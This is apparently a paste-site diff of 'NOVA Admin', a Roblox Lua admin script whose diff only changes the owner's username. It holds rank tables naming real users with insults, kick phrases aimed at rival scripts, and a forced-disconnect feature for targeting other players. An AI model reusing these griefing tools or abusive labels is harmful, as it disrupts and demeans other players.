SHOW:
|
|
- or go back to the newest paste.
1 | --[[Replace harrypotterfan249 with your name!]] | |
2 | script.Name = "§ NOVA Admin §" | |
3 | wait() | |
4 | script.Parent = Instance.new("Glue") -- Stuck! | |
5 | NOVA ={ | |
6 | ShutdownPhrase = "Lol " .. math.random(1,50) .. "XD Shutdown nub low life"; | |
7 | BadPhrases = true; | |
8 | Ab = false; | |
9 | AntiCamball = true; | |
10 | Bet = "/"; | |
11 | Services = { | |
12 | Game = game; | |
13 | RunService = game:GetService("RunService"); | |
14 | Workspace = game:GetService("Workspace"); | |
15 | Lighting = game:GetService("Lighting"); | |
16 | Debris = game:GetService("Debris"); | |
17 | Players = game:GetService("Players"); | |
18 | Teams = game:GetService("Teams"); | |
19 | SoundService = game:GetService("SoundService"); | |
20 | ScriptContext = game:GetService("ScriptContext"); | |
21 | NetworkServer = game:GetService("NetworkServer"); | |
22 | StarterGui = game:GetService("StarterGui"); | |
23 | StarterPack = game:GetService("StarterPack"); | |
24 | }; | |
25 | Ranks = { | |
26 | {-2,"Lagged"}; -- -2 | |
27 | {-1,"Banned"}; -- -1 | |
28 | {-0.5,"Scum"}; | |
29 | {0,"Guest"}; -- 0 | |
30 | {1,"Mod"}; -- 1 | |
31 | {2,"Admin"}; -- 2 | |
32 | {3,"Developer"}; -- 3 | |
33 | {4,"Omega Admin"}; -- 4 | |
34 | {5,"Overlord"}; -- 5 | |
35 | {6,"OP ( Operator )"}; -- 6 | |
36 | {7,"Creator"}; -- 7 | |
37 | - | {9999999999999999999999999999999999,"The Epic harrypotterfan249"}; -- 8 |
37 | + | {9999999999999999999999999999999999,"The Epic DeathlessNoobs"}; -- 8 |
38 | }; | |
39 | Alphabet = { | |
40 | "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", | |
41 | }; | |
42 | Ranked = { | |
43 | - | {Name = "harrypotterfan249", Rank = 9999999999999999999999999999999999, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"}; |
43 | + | {Name = "DeathlessNoobs", Rank = 9999999999999999999999999999999999, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"}; |
44 | {Name = "killerorb132", Rank = 7, CMD = true, Color = Color3.new(0,0,1), Desc = "Fire"}; | |
45 | {Name = "darkeageninja", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me"}; | |
46 | {Name = "wubbzy301", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me"}; | |
47 | {Name = "xXxArtistxXx", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Leaked NOVA Admin"}; | |
48 | {Name = "mrein5", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser"}; | |
49 | {Name = "lxljohnlxlalt", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE"}; | |
50 | {Name = "GAM3B3AST", Rank = 7, CMD = true, Color = Color3.new(0,1,1), Desc = "Epic guy"}; | |
51 | ||
52 | }; | |
53 | Credit = { | |
54 | {Name = "NetworkClient",Why = "for the tablet function."}; | |
55 | {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."}; | |
56 | {Name = "upquark",Why = "For being a great person in life."}; | |
57 | {Name = "toshir0z",Why = "For teaching me time control."}; | |
58 | {Name = "ask4kingbily",Why = "For showing me how to lock first person."}; | |
59 | {Name = "tusKOr661",Why = "For editing this script."}; | |
60 | }; | |
61 | Animations = { | |
62 | {Name = "Facepalm", Who = "tusKOr661", Id = "372695cdb6a7540768234ad60ed7a298"}; | |
63 | }; | |
64 | Colors = { | |
65 | Red = Color3.new(1,0,0); | |
66 | PinkRed = Color3.new(1,0,0.15); | |
67 | Orange = Color3.new(1,0.5,0); | |
68 | Yellow = Color3.new(1,1,0); | |
69 | Green = Color3.new(0,1,0); | |
70 | Blue = Color3.new(0,0,1); | |
71 | LightBlue = Color3.new(0,1,1); | |
72 | Pink = Color3.new(1,0,1); | |
73 | Magenta = Color3.new(0.54,0,0.54); | |
74 | White = Color3.new(1,1,1); | |
75 | Grey = Color3.new(0.5,0.5,0.5); | |
76 | Black = Color3.new(0,0,0); | |
77 | }; | |
78 | Sounds = { | |
79 | Sound = Instance.new("Sound"); | |
80 | Numbers = { -- one to five ( top to bottom ) | |
81 | "http://www.roblox.com/Asset/?id=29445305", | |
82 | "http://www.roblox.com/Asset/?id=29445339", | |
83 | "http://www.roblox.com/Asset/?id=29445358", | |
84 | "http://www.roblox.com/Asset/?id=29445378", | |
85 | "http://www.roblox.com/Asset/?id=29445395", | |
86 | }; | |
87 | PlayAfter = { | |
88 | "http://www.roblox.com/Asset/?id=2767090", | |
89 | "http://www.roblox.com/Asset/?id=2800815", | |
90 | "http://www.roblox.com/Asset/?id=2801263", | |
91 | "http://www.roblox.com/Asset/?id=11984254", | |
92 | "http://www.roblox.com/Asset/?id=2101159", | |
93 | "http://www.roblox.com/Asset/?id=3087031", | |
94 | "http://www.roblox.com/Asset/?id=2101148", | |
95 | "http://www.roblox.com/Asset/?id=2233908", | |
96 | "http://www.roblox.com/Asset/?id=16976189", | |
97 | "http://www.roblox.com/Asset/?id=2101157", | |
98 | "http://www.roblox.com/Asset/?id=2974000", | |
99 | "http://www.roblox.com/Asset/?id=2703110", | |
100 | "http://www.roblox.com/Asset/?id=1994345", | |
101 | }; | |
102 | }; | |
103 | AncientRules = { | |
104 | "Thou shall not use forum scripts.", | |
105 | "Thou shall not use CamBall / CamSphere.", | |
106 | "Thou shall not use CBA.", | |
107 | "Thou shall not use RMDX's scripts.", | |
108 | "Thou shall not use antibans.", | |
109 | "Thou shall not abuse thou admin.", | |
110 | "Thou shall not steal scripts.", | |
111 | "Thou shall not trade scripts you didn't make.", | |
112 | "Thou shall not use gay scripts.", | |
113 | "Thou shall not abuse loopholes in the ancient rules.", | |
114 | }; | |
115 | ChatFilters = { | |
116 | "mediafire", | |
117 | "shit", | |
118 | "gtfo", | |
119 | "password", | |
120 | "hitler", | |
121 | "vaginas", | |
122 | }; | |
123 | ||
124 | KillingPhrases = { | |
125 | "ssj", | |
126 | "yolo", | |
127 | "swag", | |
128 | }; | |
129 | KickingPhrases = { | |
130 | "\"/down\"", | |
131 | "/down","fweld(","ManualJointSurfaceInstance", | |
132 | "/hide", | |
133 | "rpe/", | |
134 | "antiban", | |
135 | "ab/", | |
136 | "camball.", | |
137 | "camball.came", | |
138 | "camball/", | |
139 | "camball /","deadfield","1waffle1", | |
140 | "cie camball", | |
141 | "d33k/", | |
142 | "pban/", | |
143 | "your own camball", | |
144 | "created by jordan88282", | |
145 | "v2 camball", | |
146 | "cba = {}", | |
147 | "cba.bet","tusKOr661:Remove()","tusKOr661:Destroy()","tusKOr661.Parent =", | |
148 | "banmenu","adminlist", | |
149 | "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/tuskor661", | |
150 | "cryston", | |
151 | "jordan88282", "eyeball","orb","kick/","owner","antikick", | |
152 | }; | |
153 | PreviousDataKeys = { | |
154 | "Unlimited Gravity&accesskey=lol4&_version="..tostring(_VERSION), | |
155 | }; | |
156 | LoadTime = { | |
157 | Start = tick(), | |
158 | Finish = tick(), | |
159 | }; | |
160 | Fences = {}; | |
161 | Jails = {}; | |
162 | Objects = {}; | |
163 | Commands = {}; | |
164 | Tablets = {}; | |
165 | Targeted = {}; | |
166 | ExternalPlayersList = {}; | |
167 | Waypoints = {}; | |
168 | Log = {}; | |
169 | LoggedScripts = {}; | |
170 | PRI = false; | |
171 | LockedScripts = false; | |
172 | Removed = true; | |
173 | ShowChat = true; | |
174 | Canceled = false; | |
175 | Overrided = false; | |
176 | TimeChanged = false; | |
177 | TabletPositionRelative = false; | |
178 | AntiDLL = false; | |
179 | EnableGuests = true; | |
180 | UseGlobals = false; | |
181 | Overrider = nil; | |
182 | TabletRotation = 0; | |
183 | TabletRotationIncrease = 0.03; | |
184 | AccessKey = "NewData13"; | |
185 | Version = "6th Generation"; | |
186 | DataKey = "Unlimited Gravity"; | |
187 | PRIType = "Kick"; | |
188 | LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal | |
189 | Script = script:FindFirstChild("PseudoScript"); -- or NewScript | |
190 | Plugins = script:GetChildren() | |
191 | } | |
192 | --[[ PLAYER PLUGINS ]]-- | |
193 | function UpdatePlayerPlugins() | |
194 | if NOVA.AntiDLL == true then PlayerPlugins = [==[ | |
195 | script.Parent = nil | |
196 | LocalPlayer = game:GetService("Players").LocalPlayer | |
197 | game:GetService("Selection").SelectionChanged:connect(function() | |
198 | if LocalPlayer.Name ~= "tusKOr661" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then | |
199 | LocalPlayer.Parent = nil | |
200 | LocalPlayer.Parent = game:GetService("Players") | |
201 | end | |
202 | end) | |
203 | coroutine.resume(coroutine.create(function() | |
204 | while wait() do | |
205 | if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then | |
206 | workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove() | |
207 | LocalPlayer.Parent = nil | |
208 | LocalPlayer.Parent = game:GetService("Players") | |
209 | end | |
210 | end | |
211 | end)) | |
212 | ]==] | |
213 | else | |
214 | PlayerPlugins = [==[ | |
215 | script.Parent = nil | |
216 | LocalPlayer = game:GetService("Players").LocalPlayer | |
217 | coroutine.resume(coroutine.create(function() | |
218 | while wait() do | |
219 | if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then | |
220 | workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove() | |
221 | LocalPlayer.Parent = nil | |
222 | LocalPlayer.Parent = game:GetService("Players") | |
223 | end | |
224 | end | |
225 | end)) | |
226 | ]==] | |
227 | end | |
228 | end | |
229 | function Color() | |
230 | local Choice = math.random(1, 5) | |
231 | if Choice == 1 then | |
232 | return "Institutional white" | |
233 | elseif Choice == 2 then | |
234 | return "White" | |
235 | elseif Choice == 3 then | |
236 | return "Really red" | |
237 | elseif Choice == 4 then | |
238 | return "New Yeller" | |
239 | elseif Choice == 5 then | |
240 | return "Black" | |
241 | end | |
242 | end | |
243 | --[[ PSEUDO FUNCTIONS ]]-- | |
244 | function CreateLocalScript(Source, Parent) | |
245 | if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then | |
246 | newLocalScript(Source, Parent) | |
247 | elseif game.PlaceId == 23232804 then | |
248 | NewLocalScript(Source, Parent) | |
249 | elseif NOVA.LocalScript ~= nil then | |
250 | NS = NOVA.LocalScript:Clone() | |
251 | NS.Name = "LocalScript" | |
252 | pcall(function() NS:ClearAllChildren() end) | |
253 | NewSource = Instance.new("StringValue",NS) | |
254 | NewSource.Name = "Source" | |
255 | if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then | |
256 | NewSource.Name = "DSource" | |
257 | end | |
258 | NewSource.Value = Source | |
259 | NS.Parent = Parent | |
260 | NS.Disabled = false | |
261 | else | |
262 | print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")") | |
263 | end | |
264 | end | |
265 | ||
266 | function CreateScript(Source, Parent) | |
267 | if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then | |
268 | newScript(Source, Parent) | |
269 | elseif game.PlaceId == 23232804 then | |
270 | NewScript(Source, Parent) | |
271 | elseif NOVA.Script ~= nil then | |
272 | NS = NOVA.Script:Clone() | |
273 | NS.Name = "Script" | |
274 | pcall(function() NS:ClearAllChildren() end) | |
275 | NewSource = Instance.new("StringValue",NS) | |
276 | NewSource.Name = "Source" | |
277 | NewSource.Value = Source | |
278 | NS.Parent = Parent | |
279 | NS.Disabled = false | |
280 | else | |
281 | print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")") | |
282 | end | |
283 | end | |
284 | ||
285 | function IsTargeted(Player) | |
286 | if type(Player) == "string" then | |
287 | for _,v in pairs(NOVA.Targeted) do | |
288 | if v.Name == Player then | |
289 | return true | |
290 | end | |
291 | end | |
292 | elseif type(Player) == "userdata" then | |
293 | for _,v in pairs(NOVA.Targeted) do | |
294 | if Player == v then | |
295 | return true | |
296 | end | |
297 | end | |
298 | else | |
299 | print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")") | |
300 | end | |
301 | return false | |
302 | end | |
303 | ||
304 | --[[ DATA PERSISTANCE ]]-- | |
305 | --[[ SYNC RANKS IN ]]-- | |
306 | function SyncRanksIn() | |
307 | for _,v in pairs(NOVA.Services.Players:GetPlayers()) do | |
308 | SyncRankInSingular(v) | |
309 | end | |
310 | end | |
311 | --[[ SYNC RANK IN SINGULAR ]]-- | |
312 | function SyncRankInSingular(v) | |
313 | if type(v) ~= "userdata" then | |
314 | print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.") | |
315 | return | |
316 | end | |
317 | coroutine.resume(coroutine.create(function() | |
318 | repeat wait() until v.DataReady == true | |
319 | if GetRankedTable(v) == nil then | |
320 | table.insert(NOVA.Ranked,{ | |
321 | Name = v.Name, | |
322 | CMD = false, | |
323 | Rank = 0, | |
324 | Color = NOVA.Colors.Orange, | |
325 | Desc = "N/A", | |
326 | Complaints = Instance.new("Model"), | |
327 | Executeables = Instance.new("Model"), | |
328 | Mesh = false | |
329 | }) | |
330 | end | |
331 | local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version) | |
332 | local Data = GetRankedTable(v) | |
333 | if PhysicalData == nil then | |
334 | Data.Name = v.Name | |
335 | Data.CMD = false | |
336 | Data.Rank = 0 | |
337 | Data.Color = NOVA.Colors.Orange | |
338 | Data.Desc = "N/A" | |
339 | Data.Complaints = Instance.new("Model") | |
340 | Data.Executeables = Instance.new("Model") | |
341 | elseif PhysicalData ~= nil then | |
342 | pcall(function() Data.Name = v.Name end) | |
343 | pcall(function() Data.CMD = PhysicalData.CMD.Value end) | |
344 | pcall(function() Data.Rank = PhysicalData.RANK.Value end) | |
345 | pcall(function() Data.Color = PhysicalData.COLOR.Value end) | |
346 | pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end) | |
347 | pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end) | |
348 | pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end) | |
349 | if Data.CMD == nil then Data.CMD = false end | |
350 | if Data.Rank == nil then Data.Rank = 0 end | |
351 | if Data.Color == nil then Data.Color = NOVA.Colors.Orange end | |
352 | if Data.Desc == nil then Data.Desc = "N/A" end | |
353 | if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end | |
354 | if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end | |
355 | end | |
356 | end)) | |
357 | end | |
358 | ||
359 | --[[ SYNC RANKS OUT ]]-- | |
360 | function SyncRanksOut() | |
361 | for _,v in pairs(NOVA.Services.Players:GetPlayers()) do | |
362 | SyncRankOutSingular(v) | |
363 | end | |
364 | end | |
365 | ||
366 | --[[ SYNC RANK OUT SINGULAR ]]-- | |
367 | function SyncRankOutSingular(v) | |
368 | coroutine.resume(coroutine.create(function() | |
369 | repeat wait() until v.DataReady == true | |
370 | local RankData = GetRankedTable(v) | |
371 | if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end | |
372 | local Data = Instance.new("Model") | |
373 | Data.Name = "PlayerData" | |
374 | local CMD = Instance.new("BoolValue",Data) | |
375 | CMD.Name = "CMD" | |
376 | CMD.Value = RankData.CMD | |
377 | local Rank = Instance.new("NumberValue",Data) | |
378 | Rank.Name = "RANK" | |
379 | Rank.Value = RankData.Rank | |
380 | local Color = Instance.new("Color3Value",Data) | |
381 | Color.Name = "COLOR" | |
382 | Color.Value = RankData.Color | |
383 | local Desc = Instance.new("StringValue",Data) | |
384 | Desc.Name = "DESCRIPTION" | |
385 | Desc.Value = RankData.Desc | |
386 | local Complaints = RankData.Complaints:Clone() | |
387 | Complaints.Name = "COMPLAINTS" | |
388 | local Executeables = RankData.Executeables:Clone() | |
389 | Executeables.Name = "EXECUTEABLES" | |
390 | v:SaveInstance(NOVA.DataKey.."&accesskey=".. NOVA.AccessKey .. "&_version="..NOVA.Version,Data) | |
391 | for _,v in pairs(NOVA.PreviousDataKeys) do | |
392 | v:SaveInstance(v,Data) | |
393 | end | |
394 | end)) | |
395 | end | |
396 | ||
397 | --[[ PLAYER INTERFACE ]]-- | |
398 | function PlayerInterface(v,Speaker) | |
399 | RemoveTablets(Speaker) | |
400 | local Data = GetRankedTable(v) | |
401 | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker) | |
402 | Output("Rank Name : "..GetRankName(v),Data.Color,Speaker) | |
403 | Output("Rank Number : "..Data.Rank,Data.Color,Speaker) | |
404 | Output("Account Age : "..v.AccountAge,Data.Color,Speaker) | |
405 | Output("User Id : "..v.userId,Data.Color,Speaker) | |
406 | Output("Desc : "..Data.Desc,Data.Color,Speaker) | |
407 | Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker) | |
408 | Output("Color : "..tostring(Data.Color),Data.Color,Speaker) | |
409 | if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then | |
410 | Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil, | |
411 | function() | |
412 | Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey | |
413 | end | |
414 | ) | |
415 | end | |
416 | if GetRank(Speaker) > Data.Rank or v == Speaker then | |
417 | Output("Set CMD",NOVA.Colors.Blue,Speaker,nil, | |
418 | function() | |
419 | RemoveTablets(Speaker) | |
420 | Output("True",NOVA.Colors.Green,Speaker,nil, | |
421 | function() | |
422 | Data.CMD = true | |
423 | SyncRankOutSingular(v) | |
424 | PlayerInterface(v,Speaker) | |
425 | end | |
426 | ) | |
427 | Output("False",NOVA.Colors.Red,Speaker,nil, | |
428 | function() | |
429 | Data.CMD = false | |
430 | SyncRankOutSingular(v) | |
431 | PlayerInterface(v,Speaker) | |
432 | end | |
433 | ) | |
434 | Output("Done",NOVA.Colors.Blue,Speaker,nil, | |
435 | function() | |
436 | PlayerInterface(v,Speaker) | |
437 | end | |
438 | ) | |
439 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
440 | end | |
441 | ) | |
442 | end | |
443 | ||
444 | if GetRank(Speaker) > Data.Rank then | |
445 | Output("Set Rank",NOVA.Colors.Blue,Speaker,nil, | |
446 | function() | |
447 | RemoveTablets(Speaker) | |
448 | for i,v in pairs(NOVA.Ranks) do | |
449 | if v[1] ~= 8 then | |
450 | Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil, | |
451 | function() | |
452 | RemoveTablets(Speaker) | |
453 | Data.Rank = v[1] | |
454 | SyncRankOutSingular(v) | |
455 | PlayerInterface(v,Speaker) | |
456 | end | |
457 | ) | |
458 | end | |
459 | end | |
460 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
461 | Output("Back",NOVA.Colors.Blue,Speaker,nil, | |
462 | function() | |
463 | PlayerInterface(v,Speaker) | |
464 | end | |
465 | ) | |
466 | end | |
467 | ) | |
468 | end | |
469 | if GetRank(Speaker) > Data.Rank or v == Speaker then | |
470 | Output("Set Color",NOVA.Colors.Blue,Speaker,nil, | |
471 | function() | |
472 | RemoveTablets(Speaker) | |
473 | for i,Color in pairs(NOVA.Colors) do | |
474 | Output(tostring(i),Color,Speaker,nil, | |
475 | function() | |
476 | Data.Color = Color | |
477 | PlayerInterface(v,Speaker) | |
478 | SyncRankOutSingular(v) | |
479 | end | |
480 | ) | |
481 | end | |
482 | Output("Back",NOVA.Colors.Blue,Speaker,nil, | |
483 | function() | |
484 | PlayerInterface(v,Speaker) | |
485 | end | |
486 | ) | |
487 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
488 | end | |
489 | ) | |
490 | end | |
491 | Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil, | |
492 | function() | |
493 | RemoveTablets(Speaker) | |
494 | OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker) | |
495 | end | |
496 | ) | |
497 | Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil, | |
498 | function() | |
499 | RemoveTablets(Speaker) | |
500 | OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker) | |
501 | end | |
502 | ) | |
503 | Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil, | |
504 | function() | |
505 | RemoveTablets(Speaker) | |
506 | OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker) | |
507 | end | |
508 | ) | |
509 | Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil, | |
510 | function() | |
511 | RemoveTablets(Speaker) | |
512 | OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker) | |
513 | end | |
514 | ) | |
515 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
516 | end | |
517 | ||
518 | --[[ MAKE HINT ]]-- | |
519 | ||
520 | function makeHint(Text,Parent) | |
521 | coroutine.resume(coroutine.create(function() | |
522 | local M = Instance.new("Hint",Parent) | |
523 | for i = 1, string.len(Text) do | |
524 | M.Text = M.Text .. string.sub(Text, i, i) | |
525 | wait(math.random() * 0.1) | |
526 | end | |
527 | M.Text = M.Text .. "" | |
528 | for i = 1, math.random(2, 6) do | |
529 | M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_" | |
530 | wait(0.4) | |
531 | M.Text = string.sub(M.Text, 1, string.len(Text)) .. " " | |
532 | wait(0.4) | |
533 | end | |
534 | M.Text = string.sub(M.Text, 1, string.len(Text)) | |
535 | for i = 1, string.len(M.Text) do | |
536 | M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1) | |
537 | wait() | |
538 | end | |
539 | M:Remove() | |
540 | end)) | |
541 | end | |
542 | function makeMessage(Text,Parent) | |
543 | coroutine.resume(coroutine.create(function() | |
544 | local M = Instance.new("Message",Parent) | |
545 | for i = 1, string.len(Text) do | |
546 | M.Text = M.Text .. string.sub(Text, i, i) | |
547 | wait(math.random() * 0.1) | |
548 | end | |
549 | M.Text = M.Text .. "" | |
550 | for i = 1, math.random(2, 6) do | |
551 | M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_" | |
552 | wait(0.4) | |
553 | M.Text = string.sub(M.Text, 1, string.len(Text)) .. " " | |
554 | wait(0.4) | |
555 | end | |
556 | M.Text = string.sub(M.Text, 1, string.len(Text)) | |
557 | for i = 1, string.len(M.Text) do | |
558 | M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1) | |
559 | wait() | |
560 | end | |
561 | M:Remove() | |
562 | end)) | |
563 | end | |
564 | ||
565 | --[[ EXPLORE ]]-- | |
566 | function Explore(Thing,Speaker) | |
567 | if Speaker == nil then | |
568 | print("[NOVA.Explore] Argument 1 missing or nil.") | |
569 | return | |
570 | end | |
571 | pcall(function() | |
572 | if Thing == game or Thing == nil then | |
573 | RemoveTablets(Speaker) | |
574 | for _,v in pairs(NOVA.Services) do | |
575 | Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end) | |
576 | end | |
577 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
578 | else | |
579 | if #Thing:children() == 0 then | |
580 | RemoveTablets(Speaker) | |
581 | Explore(Thing.Parent.Parent,Speaker) | |
582 | else | |
583 | RemoveTablets(Speaker) | |
584 | for _,v in pairs(Thing:children()) do | |
585 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil, | |
586 | function() | |
587 | RemoveTablets(Speaker) | |
588 | Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker) | |
589 | Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker) | |
590 | Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker) | |
591 | Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end ) | |
592 | Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end ) | |
593 | Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end ) | |
594 | Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end ) | |
595 | Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end) | |
596 | Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end) | |
597 | Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end) | |
598 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
599 | end | |
600 | ) | |
601 | end | |
602 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
603 | end | |
604 | end | |
605 | end) | |
606 | end | |
607 | ||
608 | --[[ CAPE ]]-- | |
609 | function Cape(v) | |
610 | local Mode = "None" | |
611 | local AngleX = 0 | |
612 | pcall(function() | |
613 | v.Character.Swordpack:remove() | |
614 | end) | |
615 | pcall(function() | |
616 | v.Character["NOVA Cape"]:remove() | |
617 | end) | |
618 | ||
619 | local Main = Instance.new("Model",v.Character) | |
620 | Main.Name = "NOVA Cape" | |
621 | ||
622 | pcall(function() | |
623 | v.Character.Swordpack:Remove() | |
624 | end) | |
625 | ||
626 | local Cape = Instance.new("Part", Main) | |
627 | Cape.Name = "Cape" | |
628 | Cape.Anchored = false | |
629 | Cape.Locked = true | |
630 | Cape.CanCollide = false | |
631 | Cape.formFactor = "Custom" | |
632 | Cape.Size = Vector3.new(2, 3.5, 0.2) | |
633 | Cape.BrickColor = BrickColor.new("Really black") | |
634 | Cape.TopSurface = 0 | |
635 | Cape.BottomSurface = 0 | |
636 | local Decal = Instance.new("Decal", Cape) | |
637 | Decal.Face = "Back" | |
638 | Decal.Texture = "" | |
639 | local CapeWeld = Instance.new("Weld", Cape) | |
640 | CapeWeld.Part0 = v.Character.Torso | |
641 | CapeWeld.Part1 = Cape | |
642 | CapeWeld.C0 = CFrame.new(0, 1, 0.5) | |
643 | CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) | |
644 | v.Character.Humanoid.Running:connect(function(Speed) | |
645 | if Speed > 0 then | |
646 | Mode = "Running" | |
647 | else | |
648 | Mode = "None" | |
649 | end | |
650 | end) | |
651 | v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end) | |
652 | coroutine.wrap(function() | |
653 | while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do | |
654 | local UpSpeed = 2.5 | |
655 | local DownSpeed = 5 | |
656 | local TargetAngle = 5 | |
657 | if Mode == "Running" then | |
658 | TargetAngle = 45 + math.random(0, 2500) / 100 | |
659 | elseif Mode == "Jumping" then | |
660 | UpSpeed = 10 | |
661 | DownSpeed = 10 | |
662 | TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45) | |
663 | end | |
664 | if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end | |
665 | if AngleX < TargetAngle then | |
666 | AngleX = AngleX + UpSpeed | |
667 | elseif AngleX > TargetAngle then | |
668 | AngleX = AngleX - DownSpeed | |
669 | end | |
670 | CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0) | |
671 | wait() | |
672 | end | |
673 | end)() | |
674 | ||
675 | local LShoulder = Instance.new("Part",Main) | |
676 | LShoulder.Name = "Left Shoulder" | |
677 | LShoulder.TopSurface = "Smooth" | |
678 | LShoulder.BottomSurface = "Smooth" | |
679 | LShoulder.FormFactor = "Custom" | |
680 | LShoulder.Size = Vector3.new(1,0.2,1) | |
681 | LShoulder.BrickColor = BrickColor.new("Really black") | |
682 | LShoulder.Anchored = false | |
683 | LShoulder.Locked = true | |
684 | LShoulder.CanCollide = false | |
685 | LShoulder.Transparency = 0 | |
686 | LShoulder.Reflectance = 0 | |
687 | local Weld = Instance.new("Motor6D",LShoulder) | |
688 | Weld.Part0 = LShoulder | |
689 | Weld.Part1 = v.Character["Left Arm"] | |
690 | Weld.C0 = CFrame.new(0,-1,0) | |
691 | ||
692 | local RShoulder = Instance.new("Part",Main) | |
693 | RShoulder.Name = "Right Shoulder" | |
694 | RShoulder.TopSurface = "Smooth" | |
695 | RShoulder.BottomSurface = "Smooth" | |
696 | RShoulder.FormFactor = "Custom" | |
697 | RShoulder.Size = Vector3.new(1,0.2,1) | |
698 | RShoulder.BrickColor = BrickColor.new("Really black") | |
699 | RShoulder.Anchored = false | |
700 | RShoulder.Locked = true | |
701 | RShoulder.CanCollide = false | |
702 | RShoulder.Transparency = 0 | |
703 | RShoulder.Reflectance = 0 | |
